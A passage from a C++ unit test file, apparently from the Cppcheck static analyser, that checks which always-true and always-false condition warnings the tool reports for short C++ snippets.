ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", 